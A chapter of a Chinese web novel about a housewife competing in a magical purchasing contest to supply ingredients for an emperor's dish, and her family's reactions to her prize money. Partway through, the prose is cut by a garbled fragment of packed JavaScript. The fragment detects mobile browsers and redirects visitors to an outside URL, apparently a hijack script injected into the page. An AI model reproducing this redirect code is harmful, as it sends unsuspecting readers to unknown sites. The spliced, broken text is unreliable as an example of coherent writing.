【商品质量.lv3】【升级后提升品质】 她没眼花，也没老糊涂，技能确实是升级了，可是除了在结算的时候系统说【已应用商品价格lv.1技能】之外，其他一点变化都没有，商品数量没有翻倍，那几条野山参也没有品质变化。 所以剩下的技能体现在哪呢？ 【请编号0933尽快上交商品。】 系统一催她就开始心慌，李素梅想知道她是不是在前面漏了步骤没完成，毕竟这种奖金丰盛的系统不常见，解绑之后再遇到不知要等多久，所以必须尽心尽力完成每一场比赛。 李素梅想清楚后，把竹编菜篮放入货箱，接着拆开所有食材的包装盒，把保鲜膜和标签撕干净，小心翼翼放入菜篮里。 货箱很大，摆放的商品只占据一个角落：一套刀具，一个砂锅，两个竹编菜篮，一个装着野山参和姜，一个装着鸡肉和鸽子。 【请编号0933尽快上交商品。】 李素梅捏着门把手，不舍地关上货箱门。 尽人事，听天命。被淘汰就拿回家煲汤，也算过一回皇帝瘾。 【已应用商品数量lv.2技能，所有上交商品数量翻倍：手工锻打切片刀（两套），古法砂锅（两个），竹编菜篮（四个），野山参（六个），姜（六块），整鸡（两只），鸽子（两只）】 【已应用商品质量lv.3技能，所有上交商品品质提升两个等级。】 技能使用姗姗来迟，却让人惊喜，原来剩下的技能要关上货箱门才能触发。 李素梅目送蓝色货车远去，突然心里有希望了。 吴江站在身旁，复述她的解释：“你说你找到一份工作，工作内容是帮雇主采购，只要满意了雇主还会发奖励给你？” “没错，现在我提交了雇主需要的商品，正在等结果。” 吴江像是听到什么好笑的笑话：“先不说你这份工作是不是骗人的，就雇主给你一万多块钱，你就采购这些东西，寒不寒酸啊？” 李素梅被吴江这一通话说懵了：“你刚才还说大道至简，返璞归真，现在又寒酸上了？” “你之前又没说这是给雇主采购的。家里一直都是你在做饭，那按照以前吃的菜买食材不是轻轻松松吗，弄点龙虾，黄油蟹，进口牛肉羊肉，这么多选择，你偏偏选了野山参煲汤，你老糊涂了吧，采购食材这么大手大脚没有性价比，以后哪个雇主谁敢让你干？” 李素梅一开始就是这么做的，可后面小女儿提示，现在好吃的食材古代人大部分都没见过，所以才临时改变策略。 “我这个雇主可不是一般人。” 吴江想起李素梅问过的题目：“我懂，献给皇帝一道菜，问题是现在这个年代哪里还有皇帝，还是说刚才走远的货车能穿越时空？” 李素梅懒得和他辩解，他连系统这种神奇科技都不知道，认知比她还有限。 吴江还在她面前不停发表演讲，李素梅听都不听，拿出手机回复吴琦月的信息。 吴琦月：【妈，你提交的食材我都听到了，是不是选的野山参炖汤的菜谱？】 李素梅：【对，因为你说不知道朝代，所以我精盐都不敢买，而不用盐不用辣就能做好的高级菜，野山参炖汤算一个，就是不知道委托人会不会选。】 吴琦月：【我倒觉得很有可能，这些食材都是古代人能吃到的见识过的，而且我们还升级了食材品质，光是野山参的价格就翻了好几倍。】 【剩下就赌委托人怎么想。委托人花这么多钱做一道菜献给皇帝，要是胆子大，敢献上没出现过的食材，皇帝喜欢吃就万事好商量，皇帝不喜欢吃轻则口头批评，重则拖出去一通乱打。】 李素梅：【你这么说，我们这次限时采购比赛得奖的可能性很高啊，除非皇帝恰好不喜欢野山参，也不喜欢鸽子肉。】 “采购商品的货车都走远了，你还不回家，站在这里等谁？”吴江发表一通无人欣赏的说教之后，看见李素梅无动于衷的样子有些生气。 “嘘嘘嘘！我在等结果，别吵。” 吴江赌气回到车里坐着。他有点烦躁，自从失去工作之后，他在家的地位似乎没有以前高了。 没多久，吴江看到李素梅原地欢呼，一脸开心跑过来，手里抓着厚厚一沓钞票。 …… 苏宁宁正在做题，突然察觉桌子在抖，她往吴琦月方向看，发现吴琦月偷偷看手机。 她知道限时采购系统的事情，进而推测，这会儿系统该公布比赛结果了。 没多久，桌子不抖了，吴琦月也有些失落。 苏宁宁问她怎么了，吴琦月回答：“这次比赛冠军不是我们，难道委托人胆子这么大，真的选了没有见过的食材做成菜献给皇帝吗？” 苏宁宁安慰她：”这次准备不充分，下次就有经验了。” “这次没有晋级前40%的话，系统就直接解绑了，哪来的下次。”吴琦月想想都觉得可惜，好不容易天降一个这么大方的系统，哪能轻易放手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895436|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏宁宁还想安慰她，可是系统开始宣布冠军的采购单，吴琦月拿出纸笔和苏宁宁一起对答案。 她倒要看看第一名是何方神圣！ “特级山泉水，特级鲜肉，特级灵芝，特级雪莲，特级山参，古董瓷器……”吴琦月完全明白了，冠军全把技能次数用在升级商品品质上，甚至自己还贴进去很多钱买高级食材。 仔细想想，好像上次采购她们也贴钱进去了，所以才捞到前10%的成绩。 还真是一分投资一分收获啊。 “天啊，这个冠军家里有矿吗，随便一件商品就上万，为了比赛这么拼？”苏宁宁把药材价格搜索结果展示给吴琦月看。 “对啊，给皇帝的东西当然越珍贵越好，不光是委托人，我看了这份采购清单都心动，花一份钱，得到价值几十倍的商品。”吴琦月继续记录采购单，话锋一转：“委托人选了这一份采购清单，说明他会选择稳妥的食材做菜，我们虽然拿不到冠军，但是得奖的记录很大！” “真的吗？” 吴琦月突然激动地抓住苏宁宁的手：“它要公布比赛结果了，好紧张！” 【编号0933，排名前10%，按照规则，你们将获得三次技能提升次数，和六倍预算奖金，一共七点八万元，请收好。】 “中了中了，前10%！” …… 李素梅打开车门坐进来，把厚厚一沓钞票放在吴江眼前：“雇主满意得不得了，这是我的奖金，你数数？” 很结实的八捆钞票，最上面的一捆相对薄一点，但都是真钞。 吴江觉得这个社会疯了，随便采购这点东西就有这么多钱奖励？那他平时辛苦上班辛苦找工作算什么？ 当然，吴江还有些眼馋，他问李素梅：“雇主这么大方，有没有联系方式，还有他采购频率高吗？下次还可以叫我一起。” 李素梅摇头：“雇主很神秘，一般是它单向联系我，提出需求，然后我根据需求到超市买它需要的商品。” “神神秘秘的，不说就算了。”吴江觉得很没有面子，开始为自己找理由：“来钱快，花钱也快，我还是踏踏实实赚钱。” 这些来钱快的神秘工作让吴江有了危机感，他一直认为，这个家里赚钱是只有他能做的事，如今他太久没有收入，而一直在家当全职主妇的老婆反而得到一份这么能赚钱的好工作，吴江心里不平衡，没有安全感。 像是印证了他说的话，李素梅高兴收好八万现金之后突然咳个不停，吴江以为她老毛病犯了，就顺手把车里存放的温水倒给她喝，可惜症状没有减轻。 小车离开超市，往医院方向前进。